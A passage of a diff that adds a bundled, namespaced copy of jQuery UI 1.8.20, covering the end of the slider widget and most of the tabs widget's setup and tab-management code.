+ this.handles.removeClass( "ui-state-active" );
10368
+ this._mouseSliding = false;
10369
+
10370
+ this._stop( event, this._handleIndex );
10371
+ this._change( event, this._handleIndex );
10372
+
10373
+ this._handleIndex = null;
10374
+ this._clickOffset = null;
10375
+ this._animateOff = false;
10376
+
10377
+ return false;
10378
+ },
10379
+
10380
+ _detectOrientation: function() {
10381
+ this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal";
10382
+ },
10383
+
10384
+ _normValueFromMouse: function( position ) {
10385
+ var pixelTotal,
10386
+ pixelMouse,
10387
+ percentMouse,
10388
+ valueTotal,
10389
+ valueMouse;
10390
+
10391
+ if ( this.orientation === "horizontal" ) {
10392
+ pixelTotal = this.elementSize.width;
10393
+ pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset ? this._clickOffset.left : 0 );
10394
+ } else {
10395
+ pixelTotal = this.elementSize.height;
10396
+ pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ? this._clickOffset.top : 0 );
10397
+ }
10398
+
10399
+ percentMouse = ( pixelMouse / pixelTotal );
10400
+ if ( percentMouse > 1 ) {
10401
+ percentMouse = 1;
10402
+ }
10403
+ if ( percentMouse < 0 ) {
10404
+ percentMouse = 0;
10405
+ }
10406
+ if ( this.orientation === "vertical" ) {
10407
+ percentMouse = 1 - percentMouse;
10408
+ }
10409
+
10410
+ valueTotal = this._valueMax() - this._valueMin();
10411
+ valueMouse = this._valueMin() + percentMouse * valueTotal;
10412
+
10413
+ return this._trimAlignValue( valueMouse );
10414
+ },
10415
+
10416
+ _start: function( event, index ) {
10417
+ var uiHash = {
10418
+ handle: this.handles[ index ],
10419
+ value: this.value()
10420
+ };
10421
+ if ( this.options.values && this.options.values.length ) {
10422
+ uiHash.value = this.values( index );
10423
+ uiHash.values = this.values();
10424
+ }
10425
+ return this._trigger( "start", event, uiHash );
10426
+ },
10427
+
10428
+ _slide: function( event, index, newVal ) {
10429
+ var otherVal,
10430
+ newValues,
10431
+ allowed;
10432
+
10433
+ if ( this.options.values && this.options.values.length ) {
10434
+ otherVal = this.values( index ? 0 : 1 );
10435
+
10436
+ if ( ( this.options.values.length === 2 && this.options.range === true ) &&
10437
+ ( ( index === 0 && newVal > otherVal) || ( index === 1 && newVal < otherVal ) )
10438
+ ) {
10439
+ newVal = otherVal;
10440
+ }
10441
+
10442
+ if ( newVal !== this.values( index ) ) {
10443
+ newValues = this.values();
10444
+ newValues[ index ] = newVal;
10445
+ // A slide can be canceled by returning false from the slide callback
10446
+ allowed = this._trigger( "slide", event, {
10447
+ handle: this.handles[ index ],
10448
+ value: newVal,
10449
+ values: newValues
10450
+ } );
10451
+ otherVal = this.values( index ? 0 : 1 );
10452
+ if ( allowed !== false ) {
10453
+ this.values( index, newVal, true );
10454
+ }
10455
+ }
10456
+ } else {
10457
+ if ( newVal !== this.value() ) {
10458
+ // A slide can be canceled by returning false from the slide callback
10459
+ allowed = this._trigger( "slide", event, {
10460
+ handle: this.handles[ index ],
10461
+ value: newVal
10462
+ } );
10463
+ if ( allowed !== false ) {
10464
+ this.value( newVal );
10465
+ }
10466
+ }
10467
+ }
10468
+ },
10469
+
10470
+ _stop: function( event, index ) {
10471
+ var uiHash = {
10472
+ handle: this.handles[ index ],
10473
+ value: this.value()
10474
+ };
10475
+ if ( this.options.values && this.options.values.length ) {
10476
+ uiHash.value = this.values( index );
10477
+ uiHash.values = this.values();
10478
+ }
10479
+
10480
+ this._trigger( "stop", event, uiHash );
10481
+ },
10482
+
10483
+ _change: function( event, index ) {
10484
+ if ( !this._keySliding && !this._mouseSliding ) {
10485
+ var uiHash = {
10486
+ handle: this.handles[ index ],
10487
+ value: this.value()
10488
+ };
10489
+ if ( this.options.values && this.options.values.length ) {
10490
+ uiHash.value = this.values( index );
10491
+ uiHash.values = this.values();
10492
+ }
10493
+
10494
+ this._trigger( "change", event, uiHash );
10495
+ }
10496
+ },
10497
+
10498
+ value: function( newValue ) {
10499
+ if ( arguments.length ) {
10500
+ this.options.value = this._trimAlignValue( newValue );
10501
+ this._refreshValue();
10502
+ this._change( null, 0 );
10503
+ return;
10504
+ }
10505
+
10506
+ return this._value();
10507
+ },
10508
+
10509
+ values: function( index, newValue ) {
10510
+ var vals,
10511
+ newValues,
10512
+ i;
10513
+
10514
+ if ( arguments.length > 1 ) {
10515
+ this.options.values[ index ] = this._trimAlignValue( newValue );
10516
+ this._refreshValue();
10517
+ this._change( null, index );
10518
+ return;
10519
+ }
10520
+
10521
+ if ( arguments.length ) {
10522
+ if ( $.isArray( arguments[ 0 ] ) ) {
10523
+ vals = this.options.values;
10524
+ newValues = arguments[ 0 ];
10525
+ for ( i = 0; i < vals.length; i += 1 ) {
10526
+ vals[ i ] = this._trimAlignValue( newValues[ i ] );
10527
+ this._change( null, i );
10528
+ }
10529
+ this._refreshValue();
10530
+ } else {
10531
+ if ( this.options.values && this.options.values.length ) {
10532
+ return this._values( index );
10533
+ } else {
10534
+ return this.value();
10535
+ }
10536
+ }
10537
+ } else {
10538
+ return this._values();
10539
+ }
10540
+ },
10541
+
10542
+ _setOption: function( key, value ) {
10543
+ var i,
10544
+ valsLength = 0;
10545
+
10546
+ if ( $.isArray( this.options.values ) ) {
10547
+ valsLength = this.options.values.length;
10548
+ }
10549
+
10550
+ $.Widget.prototype._setOption.apply( this, arguments );
10551
+
10552
+ switch ( key ) {
10553
+ case "disabled":
10554
+ if ( value ) {
10555
+ this.handles.filter( ".ui-state-focus" ).blur();
10556
+ this.handles.removeClass( "ui-state-hover" );
10557
+ this.handles.propAttr( "disabled", true );
10558
+ this.element.addClass( "ui-disabled" );
10559
+ } else {
10560
+ this.handles.propAttr( "disabled", false );
10561
+ this.element.removeClass( "ui-disabled" );
10562
+ }
10563
+ break;
10564
+ case "orientation":
10565
+ this._detectOrientation();
10566
+ this.element
10567
+ .removeClass( "ui-slider-horizontal ui-slider-vertical" )
10568
+ .addClass( "ui-slider-" + this.orientation );
10569
+ this._refreshValue();
10570
+ break;
10571
+ case "value":
10572
+ this._animateOff = true;
10573
+ this._refreshValue();
10574
+ this._change( null, 0 );
10575
+ this._animateOff = false;
10576
+ break;
10577
+ case "values":
10578
+ this._animateOff = true;
10579
+ this._refreshValue();
10580
+ for ( i = 0; i < valsLength; i += 1 ) {
10581
+ this._change( null, i );
10582
+ }
10583
+ this._animateOff = false;
10584
+ break;
10585
+ }
10586
+ },
10587
+
10588
+ //internal value getter
10589
+ // _value() returns value trimmed by min and max, aligned by step
10590
+ _value: function() {
10591
+ var val = this.options.value;
10592
+ val = this._trimAlignValue( val );
10593
+
10594
+ return val;
10595
+ },
10596
+
10597
+ //internal values getter
10598
+ // _values() returns array of values trimmed by min and max, aligned by step
10599
+ // _values( index ) returns single value trimmed by min and max, aligned by step
10600
+ _values: function( index ) {
10601
+ var val,
10602
+ vals,
10603
+ i;
10604
+
10605
+ if ( arguments.length ) {
10606
+ val = this.options.values[ index ];
10607
+ val = this._trimAlignValue( val );
10608
+
10609
+ return val;
10610
+ } else {
10611
+ // .slice() creates a copy of the array
10612
+ // this copy gets trimmed by min and max and then returned
10613
+ vals = this.options.values.slice();
10614
+ for ( i = 0; i < vals.length; i+= 1) {
10615
+ vals[ i ] = this._trimAlignValue( vals[ i ] );
10616
+ }
10617
+
10618
+ return vals;
10619
+ }
10620
+ },
10621
+
10622
+ // returns the step-aligned value that val is closest to, between (inclusive) min and max
10623
+ _trimAlignValue: function( val ) {
10624
+ if ( val <= this._valueMin() ) {
10625
+ return this._valueMin();
10626
+ }
10627
+ if ( val >= this._valueMax() ) {
10628
+ return this._valueMax();
10629
+ }
10630
+ var step = ( this.options.step > 0 ) ? this.options.step : 1,
10631
+ valModStep = (val - this._valueMin()) % step,
10632
+ alignValue = val - valModStep;
10633
+
10634
+ if ( Math.abs(valModStep) * 2 >= step ) {
10635
+ alignValue += ( valModStep > 0 ) ? step : ( -step );
10636
+ }
10637
+
10638
+ // Since JavaScript has problems with large floats, round
10639
+ // the final value to 5 digits after the decimal point (see #4124)
10640
+ return parseFloat( alignValue.toFixed(5) );
10641
+ },
10642
+
10643
+ _valueMin: function() {
10644
+ return this.options.min;
10645
+ },
10646
+
10647
+ _valueMax: function() {
10648
+ return this.options.max;
10649
+ },
10650
+
10651
+ _refreshValue: function() {
10652
+ var oRange = this.options.range,
10653
+ o = this.options,
10654
+ self = this,
10655
+ animate = ( !this._animateOff ) ? o.animate : false,
10656
+ valPercent,
10657
+ _set = {},
10658
+ lastValPercent,
10659
+ value,
10660
+ valueMin,
10661
+ valueMax;
10662
+
10663
+ if ( this.options.values && this.options.values.length ) {
10664
+ this.handles.each(function( i, j ) {
10665
+ valPercent = ( self.values(i) - self._valueMin() ) / ( self._valueMax() - self._valueMin() ) * 100;
10666
+ _set[ self.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
10667
+ $( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
10668
+ if ( self.options.range === true ) {
10669
+ if ( self.orientation === "horizontal" ) {
10670
+ if ( i === 0 ) {
10671
+ self.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { left: valPercent + "%" }, o.animate );
10672
+ }
10673
+ if ( i === 1 ) {
10674
+ self.range[ animate ? "animate" : "css" ]( { width: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } );
10675
+ }
10676
+ } else {
10677
+ if ( i === 0 ) {
10678
+ self.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { bottom: ( valPercent ) + "%" }, o.animate );
10679
+ }
10680
+ if ( i === 1 ) {
10681
+ self.range[ animate ? "animate" : "css" ]( { height: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } );
10682
+ }
10683
+ }
10684
+ }
10685
+ lastValPercent = valPercent;
10686
+ });
10687
+ } else {
10688
+ value = this.value();
10689
+ valueMin = this._valueMin();
10690
+ valueMax = this._valueMax();
10691
+ valPercent = ( valueMax !== valueMin ) ?
10692
+ ( value - valueMin ) / ( valueMax - valueMin ) * 100 :
10693
+ 0;
10694
+ _set[ self.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
10695
+ this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
10696
+
10697
+ if ( oRange === "min" && this.orientation === "horizontal" ) {
10698
+ this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: valPercent + "%" }, o.animate );
10699
+ }
10700
+ if ( oRange === "max" && this.orientation === "horizontal" ) {
10701
+ this.range[ animate ? "animate" : "css" ]( { width: ( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate } );
10702
+ }
10703
+ if ( oRange === "min" && this.orientation === "vertical" ) {
10704
+ this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: valPercent + "%" }, o.animate );
10705
+ }
10706
+ if ( oRange === "max" && this.orientation === "vertical" ) {
10707
+ this.range[ animate ? "animate" : "css" ]( { height: ( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate } );
10708
+ }
10709
+ }
10710
+ }
10711
+
10712
+ });
10713
+
10714
+ $.extend( $.ui.slider, {
10715
+ version: "1.8.20"
10716
+ });
10717
+
10718
+ }(asljQuery));
10719
+
10720
+ (function( $, undefined ) {
10721
+
10722
+ var tabId = 0,
10723
+ listId = 0;
10724
+
10725
+ function getNextTabId() {
10726
+ return ++tabId;
10727
+ }
10728
+
10729
+ function getNextListId() {
10730
+ return ++listId;
10731
+ }
10732
+
10733
+ $.widget( "ui.tabs", {
10734
+ options: {
10735
+ add: null,
10736
+ ajaxOptions: null,
10737
+ cache: false,
10738
+ cookie: null, // e.g. { expires: 7, path: '/', domain: 'jquery.com', secure: true }
10739
+ collapsible: false,
10740
+ disable: null,
10741
+ disabled: [],
10742
+ enable: null,
10743
+ event: "click",
10744
+ fx: null, // e.g. { height: 'toggle', opacity: 'toggle', duration: 200 }
10745
+ idPrefix: "ui-tabs-",
10746
+ load: null,
10747
+ panelTemplate: "<div></div>",
10748
+ remove: null,
10749
+ select: null,
10750
+ show: null,
10751
+ spinner: "<em>Loading&#8230;</em>",
10752
+ tabTemplate: "<li><a href='#{href}'><span>#{label}</span></a></li>"
10753
+ },
10754
+
10755
+ _create: function() {
10756
+ this._tabify( true );
10757
+ },
10758
+
10759
+ _setOption: function( key, value ) {
10760
+ if ( key == "selected" ) {
10761
+ if (this.options.collapsible && value == this.options.selected ) {
10762
+ return;
10763
+ }
10764
+ this.select( value );
10765
+ } else {
10766
+ this.options[ key ] = value;
10767
+ this._tabify();
10768
+ }
10769
+ },
10770
+
10771
+ _tabId: function( a ) {
10772
+ return a.title && a.title.replace( /\s/g, "_" ).replace( /[^\w\u00c0-\uFFFF-]/g, "" ) ||
10773
+ this.options.idPrefix + getNextTabId();
10774
+ },
10775
+
10776
+ _sanitizeSelector: function( hash ) {
10777
+ // we need this because an id may contain a ":"
10778
+ return hash.replace( /:/g, "\\:" );
10779
+ },
10780
+
10781
+ _cookie: function() {
10782
+ var cookie = this.cookie ||
10783
+ ( this.cookie = this.options.cookie.name || "ui-tabs-" + getNextListId() );
10784
+ return $.cookie.apply( null, [ cookie ].concat( $.makeArray( arguments ) ) );
10785
+ },
10786
+
10787
+ _ui: function( tab, panel ) {
10788
+ return {
10789
+ tab: tab,
10790
+ panel: panel,
10791
+ index: this.anchors.index( tab )
10792
+ };
10793
+ },
10794
+
10795
+ _cleanup: function() {
10796
+ // restore all former loading tabs labels
10797
+ this.lis.filter( ".ui-state-processing" )
10798
+ .removeClass( "ui-state-processing" )
10799
+ .find( "span:data(label.tabs)" )
10800
+ .each(function() {
10801
+ var el = $( this );
10802
+ el.html( el.data( "label.tabs" ) ).removeData( "label.tabs" );
10803
+ });
10804
+ },
10805
+
10806
+ _tabify: function( init ) {
10807
+ var self = this,
10808
+ o = this.options,
10809
+ fragmentId = /^#.+/; // Safari 2 reports '#' for an empty hash
10810
+
10811
+ this.list = this.element.find( "ol,ul" ).eq( 0 );
10812
+ this.lis = $( " > li:has(a[href])", this.list );
10813
+ this.anchors = this.lis.map(function() {
10814
+ return $( "a", this )[ 0 ];
10815
+ });
10816
+ this.panels = $( [] );
10817
+
10818
+ this.anchors.each(function( i, a ) {
10819
+ var href = $( a ).attr( "href" );
10820
+ // For dynamically created HTML that contains a hash as href IE < 8 expands
10821
+ // such href to the full page url with hash and then misinterprets tab as ajax.
10822
+ // Same consideration applies for an added tab with a fragment identifier
10823
+ // since a[href=#fragment-identifier] does unexpectedly not match.
10824
+ // Thus normalize href attribute...
10825
+ var hrefBase = href.split( "#" )[ 0 ],
10826
+ baseEl;
10827
+ if ( hrefBase && ( hrefBase === location.toString().split( "#" )[ 0 ] ||
10828
+ ( baseEl = $( "base" )[ 0 ]) && hrefBase === baseEl.href ) ) {
10829
+ href = a.hash;
10830
+ a.href = href;
10831
+ }
10832
+
10833
+ // inline tab
10834
+ if ( fragmentId.test( href ) ) {
10835
+ self.panels = self.panels.add( self.element.find( self._sanitizeSelector( href ) ) );
10836
+ // remote tab
10837
+ // prevent loading the page itself if href is just "#"
10838
+ } else if ( href && href !== "#" ) {
10839
+ // required for restore on destroy
10840
+ $.data( a, "href.tabs", href );
10841
+
10842
+ // TODO until #3808 is fixed strip fragment identifier from url
10843
+ // (IE fails to load from such url)
10844
+ $.data( a, "load.tabs", href.replace( /#.*$/, "" ) );
10845
+
10846
+ var id = self._tabId( a );
10847
+ a.href = "#" + id;
10848
+ var $panel = self.element.find( "#" + id );
10849
+ if ( !$panel.length ) {
10850
+ $panel = $( o.panelTemplate )
10851
+ .attr( "id", id )
10852
+ .addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" )
10853
+ .insertAfter( self.panels[ i - 1 ] || self.list );
10854
+ $panel.data( "destroy.tabs", true );
10855
+ }
10856
+ self.panels = self.panels.add( $panel );
10857
+ // invalid tab href
10858
+ } else {
10859
+ o.disabled.push( i );
10860
+ }
10861
+ });
10862
+
10863
+ // initialization from scratch
10864
+ if ( init ) {
10865
+ // attach necessary classes for styling
10866
+ this.element.addClass( "ui-tabs ui-widget ui-widget-content ui-corner-all" );
10867
+ this.list.addClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" );
10868
+ this.lis.addClass( "ui-state-default ui-corner-top" );
10869
+ this.panels.addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" );
10870
+
10871
+ // Selected tab
10872
+ // use "selected" option or try to retrieve:
10873
+ // 1. from fragment identifier in url
10874
+ // 2. from cookie
10875
+ // 3. from selected class attribute on <li>
10876
+ if ( o.selected === undefined ) {
10877
+ if ( location.hash ) {
10878
+ this.anchors.each(function( i, a ) {
10879
+ if ( a.hash == location.hash ) {
10880
+ o.selected = i;
10881
+ return false;
10882
+ }
10883
+ });
10884
+ }
10885
+ if ( typeof o.selected !== "number" && o.cookie ) {
10886
+ o.selected = parseInt( self._cookie(), 10 );
10887
+ }
10888
+ if ( typeof o.selected !== "number" && this.lis.filter( ".ui-tabs-selected" ).length ) {
10889
+ o.selected = this.lis.index( this.lis.filter( ".ui-tabs-selected" ) );
10890
+ }
10891
+ o.selected = o.selected || ( this.lis.length ? 0 : -1 );
10892
+ } else if ( o.selected === null ) { // usage of null is deprecated, TODO remove in next release
10893
+ o.selected = -1;
10894
+ }
10895
+
10896
+ // sanity check - default to first tab...
10897
+ o.selected = ( ( o.selected >= 0 && this.anchors[ o.selected ] ) || o.selected < 0 )
10898
+ ? o.selected
10899
+ : 0;
10900
+
10901
+ // Take disabling tabs via class attribute from HTML
10902
+ // into account and update option properly.
10903
+ // A selected tab cannot become disabled.
10904
+ o.disabled = $.unique( o.disabled.concat(
10905
+ $.map( this.lis.filter( ".ui-state-disabled" ), function( n, i ) {
10906
+ return self.lis.index( n );
10907
+ })
10908
+ ) ).sort();
10909
+
10910
+ if ( $.inArray( o.selected, o.disabled ) != -1 ) {
10911
+ o.disabled.splice( $.inArray( o.selected, o.disabled ), 1 );
10912
+ }
10913
+
10914
+ // highlight selected tab
10915
+ this.panels.addClass( "ui-tabs-hide" );
10916
+ this.lis.removeClass( "ui-tabs-selected ui-state-active" );
10917
+ // check for length avoids error when initializing empty list
10918
+ if ( o.selected >= 0 && this.anchors.length ) {
10919
+ self.element.find( self._sanitizeSelector( self.anchors[ o.selected ].hash ) ).removeClass( "ui-tabs-hide" );
10920
+ this.lis.eq( o.selected ).addClass( "ui-tabs-selected ui-state-active" );
10921
+
10922
+ // seems to be expected behavior that the show callback is fired
10923
+ self.element.queue( "tabs", function() {
10924
+ self._trigger( "show", null,
10925
+ self._ui( self.anchors[ o.selected ], self.element.find( self._sanitizeSelector( self.anchors[ o.selected ].hash ) )[ 0 ] ) );
10926
+ });
10927
+
10928
+ this.load( o.selected );
10929
+ }
10930
+
10931
+ // clean up to avoid memory leaks in certain versions of IE 6
10932
+ // TODO: namespace this event
10933
+ $( window ).bind( "unload", function() {
10934
+ self.lis.add( self.anchors ).unbind( ".tabs" );
10935
+ self.lis = self.anchors = self.panels = null;
10936
+ });
10937
+ // update selected after add/remove
10938
+ } else {
10939
+ o.selected = this.lis.index( this.lis.filter( ".ui-tabs-selected" ) );
10940
+ }
10941
+
10942
+ // update collapsible
10943
+ // TODO: use .toggleClass()
10944
+ this.element[ o.collapsible ? "addClass" : "removeClass" ]( "ui-tabs-collapsible" );
10945
+
10946
+ // set or update cookie after init and add/remove respectively
10947
+ if ( o.cookie ) {
10948
+ this._cookie( o.selected, o.cookie );
10949
+ }
10950
+
10951
+ // disable tabs
10952
+ for ( var i = 0, li; ( li = this.lis[ i ] ); i++ ) {
10953
+ $( li )[ $.inArray( i, o.disabled ) != -1 &&
10954
+ // TODO: use .toggleClass()
10955
+ !$( li ).hasClass( "ui-tabs-selected" ) ? "addClass" : "removeClass" ]( "ui-state-disabled" );
10956
+ }
10957
+
10958
+ // reset cache if switching from cached to not cached
10959
+ if ( o.cache === false ) {
10960
+ this.anchors.removeData( "cache.tabs" );
10961
+ }
10962
+
10963
+ // remove all handlers before, tabify may run on existing tabs after add or option change
10964
+ this.lis.add( this.anchors ).unbind( ".tabs" );
10965
+
10966
+ if ( o.event !== "mouseover" ) {
10967
+ var addState = function( state, el ) {
10968
+ if ( el.is( ":not(.ui-state-disabled)" ) ) {
10969
+ el.addClass( "ui-state-" + state );
10970
+ }
10971
+ };
10972
+ var removeState = function( state, el ) {
10973
+ el.removeClass( "ui-state-" + state );
10974
+ };
10975
+ this.lis.bind( "mouseover.tabs" , function() {
10976
+ addState( "hover", $( this ) );
10977
+ });
10978
+ this.lis.bind( "mouseout.tabs", function() {
10979
+ removeState( "hover", $( this ) );
10980
+ });
10981
+ this.anchors.bind( "focus.tabs", function() {
10982
+ addState( "focus", $( this ).closest( "li" ) );
10983
+ });
10984
+ this.anchors.bind( "blur.tabs", function() {
10985
+ removeState( "focus", $( this ).closest( "li" ) );
10986
+ });
10987
+ }
10988
+
10989
+ // set up animations
10990
+ var hideFx, showFx;
10991
+ if ( o.fx ) {
10992
+ if ( $.isArray( o.fx ) ) {
10993
+ hideFx = o.fx[ 0 ];
10994
+ showFx = o.fx[ 1 ];
10995
+ } else {
10996
+ hideFx = showFx = o.fx;
10997
+ }
10998
+ }
10999
+
11000
+ // Reset certain styles left over from animation
11001
+ // and prevent IE's ClearType bug...
11002
+ function resetStyle( $el, fx ) {
11003
+ $el.css( "display", "" );
11004
+ if ( !$.support.opacity && fx.opacity ) {
11005
+ $el[ 0 ].style.removeAttribute( "filter" );
11006
+ }
11007
+ }
11008
+
11009
+ // Show a tab...
11010
+ var showTab = showFx
11011
+ ? function( clicked, $show ) {
11012
+ $( clicked ).closest( "li" ).addClass( "ui-tabs-selected ui-state-active" );
11013
+ $show.hide().removeClass( "ui-tabs-hide" ) // avoid flicker that way
11014
+ .animate( showFx, showFx.duration || "normal", function() {
11015
+ resetStyle( $show, showFx );
11016
+ self._trigger( "show", null, self._ui( clicked, $show[ 0 ] ) );
11017
+ });
11018
+ }
11019
+ : function( clicked, $show ) {
11020
+ $( clicked ).closest( "li" ).addClass( "ui-tabs-selected ui-state-active" );
11021
+ $show.removeClass( "ui-tabs-hide" );
11022
+ self._trigger( "show", null, self._ui( clicked, $show[ 0 ] ) );
11023
+ };
11024
+
11025
+ // Hide a tab, $show is optional...
11026
+ var hideTab = hideFx
11027
+ ? function( clicked, $hide ) {
11028
+ $hide.animate( hideFx, hideFx.duration || "normal", function() {
11029
+ self.lis.removeClass( "ui-tabs-selected ui-state-active" );
11030
+ $hide.addClass( "ui-tabs-hide" );
11031
+ resetStyle( $hide, hideFx );
11032
+ self.element.dequeue( "tabs" );
11033
+ });
11034
+ }
11035
+ : function( clicked, $hide, $show ) {
11036
+ self.lis.removeClass( "ui-tabs-selected ui-state-active" );
11037
+ $hide.addClass( "ui-tabs-hide" );
11038
+ self.element.dequeue( "tabs" );
11039
+ };
11040
+
11041
+ // attach tab event handler, unbind to avoid duplicates from former tabifying...
11042
+ this.anchors.bind( o.event + ".tabs", function() {
11043
+ var el = this,
11044
+ $li = $(el).closest( "li" ),
11045
+ $hide = self.panels.filter( ":not(.ui-tabs-hide)" ),
11046
+ $show = self.element.find( self._sanitizeSelector( el.hash ) );
11047
+
11048
+ // If tab is already selected and not collapsible or tab disabled or
11049
+ // or is already loading or click callback returns false stop here.
11050
+ // Check if click handler returns false last so that it is not executed
11051
+ // for a disabled or loading tab!
11052
+ if ( ( $li.hasClass( "ui-tabs-selected" ) && !o.collapsible) ||
11053
+ $li.hasClass( "ui-state-disabled" ) ||
11054
+ $li.hasClass( "ui-state-processing" ) ||
11055
+ self.panels.filter( ":animated" ).length ||
11056
+ self._trigger( "select", null, self._ui( this, $show[ 0 ] ) ) === false ) {
11057
+ this.blur();
11058
+ return false;
11059
+ }
11060
+
11061
+ o.selected = self.anchors.index( this );
11062
+
11063
+ self.abort();
11064
+
11065
+ // if tab may be closed
11066
+ if ( o.collapsible ) {
11067
+ if ( $li.hasClass( "ui-tabs-selected" ) ) {
11068
+ o.selected = -1;
11069
+
11070
+ if ( o.cookie ) {
11071
+ self._cookie( o.selected, o.cookie );
11072
+ }
11073
+
11074
+ self.element.queue( "tabs", function() {
11075
+ hideTab( el, $hide );
11076
+ }).dequeue( "tabs" );
11077
+
11078
+ this.blur();
11079
+ return false;
11080
+ } else if ( !$hide.length ) {
11081
+ if ( o.cookie ) {
11082
+ self._cookie( o.selected, o.cookie );
11083
+ }
11084
+
11085
+ self.element.queue( "tabs", function() {
11086
+ showTab( el, $show );
11087
+ });
11088
+
11089
+ // TODO make passing in node possible, see also http://dev.jqueryui.com/ticket/3171
11090
+ self.load( self.anchors.index( this ) );
11091
+
11092
+ this.blur();
11093
+ return false;
11094
+ }
11095
+ }
11096
+
11097
+ if ( o.cookie ) {
11098
+ self._cookie( o.selected, o.cookie );
11099
+ }
11100
+
11101
+ // show new tab
11102
+ if ( $show.length ) {
11103
+ if ( $hide.length ) {
11104
+ self.element.queue( "tabs", function() {
11105
+ hideTab( el, $hide );
11106
+ });
11107
+ }
11108
+ self.element.queue( "tabs", function() {
11109
+ showTab( el, $show );
11110
+ });
11111
+
11112
+ self.load( self.anchors.index( this ) );
11113
+ } else {
11114
+ throw "jQuery UI Tabs: Mismatching fragment identifier.";
11115
+ }
11116
+
11117
+ // Prevent IE from keeping other link focussed when using the back button
11118
+ // and remove dotted border from clicked link. This is controlled via CSS
11119
+ // in modern browsers; blur() removes focus from address bar in Firefox
11120
+ // which can become a usability and annoying problem with tabs('rotate').
11121
+ if ( $.browser.msie ) {
11122
+ this.blur();
11123
+ }
11124
+ });
11125
+
11126
+ // disable click in any case
11127
+ this.anchors.bind( "click.tabs", function(){
11128
+ return false;
11129
+ });
11130
+ },
11131
+
11132
+ _getIndex: function( index ) {
11133
+ // meta-function to give users option to provide a href string instead of a numerical index.
11134
+ // also sanitizes numerical indexes to valid values.
11135
+ if ( typeof index == "string" ) {
11136
+ index = this.anchors.index( this.anchors.filter( "[href$='" + index + "']" ) );
11137
+ }
11138
+
11139
+ return index;
11140
+ },
11141
+
11142
+ destroy: function() {
11143
+ var o = this.options;
11144
+
11145
+ this.abort();
11146
+
11147
+ this.element
11148
+ .unbind( ".tabs" )
11149
+ .removeClass( "ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible" )
11150
+ .removeData( "tabs" );
11151
+
11152
+ this.list.removeClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" );
11153
+
11154
+ this.anchors.each(function() {
11155
+ var href = $.data( this, "href.tabs" );
11156
+ if ( href ) {
11157
+ this.href = href;
11158
+ }
11159
+ var $this = $( this ).unbind( ".tabs" );
11160
+ $.each( [ "href", "load", "cache" ], function( i, prefix ) {
11161
+ $this.removeData( prefix + ".tabs" );
11162
+ });
11163
+ });
11164
+
11165
+ this.lis.unbind( ".tabs" ).add( this.panels ).each(function() {
11166
+ if ( $.data( this, "destroy.tabs" ) ) {
11167
+ $( this ).remove();
11168
+ } else {
11169
+ $( this ).removeClass([
11170
+ "ui-state-default",
11171
+ "ui-corner-top",
11172
+ "ui-tabs-selected",
11173
+ "ui-state-active",
11174
+ "ui-state-hover",
11175
+ "ui-state-focus",
11176
+ "ui-state-disabled",
11177
+ "ui-tabs-panel",
11178
+ "ui-widget-content",
11179
+ "ui-corner-bottom",
11180
+ "ui-tabs-hide"
11181
+ ].join( " " ) );
11182
+ }
11183
+ });
11184
+
11185
+ if ( o.cookie ) {
11186
+ this._cookie( null, o.cookie );
11187
+ }
11188
+
11189
+ return this;
11190
+ },
11191
+
11192
+ add: function( url, label, index ) {
11193
+ if ( index === undefined ) {
11194
+ index = this.anchors.length;
11195
+ }
11196
+
11197
+ var self = this,
11198
+ o = this.options,
11199
+ $li = $( o.tabTemplate.replace( /#\{href\}/g, url ).replace( /#\{label\}/g, label ) ),
11200
+ id = !url.indexOf( "#" ) ? url.replace( "#", "" ) : this._tabId( $( "a", $li )[ 0 ] );
11201
+
11202
+ $li.addClass( "ui-state-default ui-corner-top" ).data( "destroy.tabs", true );
11203
+
11204
+ // try to find an existing element before creating a new one
11205
+ var $panel = self.element.find( "#" + id );
11206
+ if ( !$panel.length ) {
11207
+ $panel = $( o.panelTemplate )
11208
+ .attr( "id", id )
11209
+ .data( "destroy.tabs", true );
11210
+ }
11211
+ $panel.addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide" );
11212
+
11213
+ if ( index >= this.lis.length ) {
11214
+ $li.appendTo( this.list );
11215
+ $panel.appendTo( this.list[ 0 ].parentNode );
11216
+ } else {
11217
+ $li.insertBefore( this.lis[ index ] );
11218
+ $panel.insertBefore( this.panels[ index ] );
11219
+ }
11220
+
11221
+ o.disabled = $.map( o.disabled, function( n, i ) {
11222
+ return n >= index ? ++n : n;
11223
+ });
11224
+
11225
+ this._tabify();
11226
+
11227
+ if ( this.anchors.length == 1 ) {
11228
+ o.selected = 0;
11229
+ $li.addClass( "ui-tabs-selected ui-state-active" );
11230
+ $panel.removeClass( "ui-tabs-hide" );
11231
+ this.element.queue( "tabs", function() {
11232
+ self._trigger( "show", null, self._ui( self.anchors[ 0 ], self.panels[ 0 ] ) );
11233
+ });
11234
+
11235
+ this.load( 0 );
11236
+ }
11237
+
11238
+ this._trigger( "add", null, this._ui( this.anchors[ index ], this.panels[ index ] ) );
11239
+ return this;
11240
+ },
11241
+
11242
+ remove: function( index ) {
11243
+ index = this._getIndex( index );
11244
+ var o = this.options,
11245
+ $li = this.lis.eq( index ).remove(),
11246
+ $panel = this.panels.eq( index ).remove();
11247
+
11248
+ // If selected tab was removed focus tab to the right or
11249
+ // in case the last tab was removed the tab to the left.
11250
